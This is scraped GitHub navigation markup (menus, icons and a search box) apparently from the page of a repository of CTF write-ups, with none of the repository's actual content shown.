<div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide">
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div>
Explore
All features
Documentation
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
GitHub Skills
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Blog
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For
Enterprise
Teams
Startups
Education
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
By Solution
CI/CD & Automation
DevOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
DevSecOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Case Studies
Customer Stories
Resources
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4">
<div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div>
<div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div>
Repositories
Topics
Trending
Collections
</div>
Pricing
</nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0">
<div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="268353024" data-scoped-search-url="/noob-atbash/CTF-writeups/search" data-owner-scoped-search-url="/users/noob-atbash/search" data-unscoped-search-url="/search" data-turbo="false" action="/noob-atbash/CTF-writeups/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="71n/y2Y2YL0u07jizUw126ZPsR5n6dmNX1ZPjprdVtquiqS3GoSF+1D4ObvZ8kcKBZXBpEy5KPUhVtm8dqIrTA==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
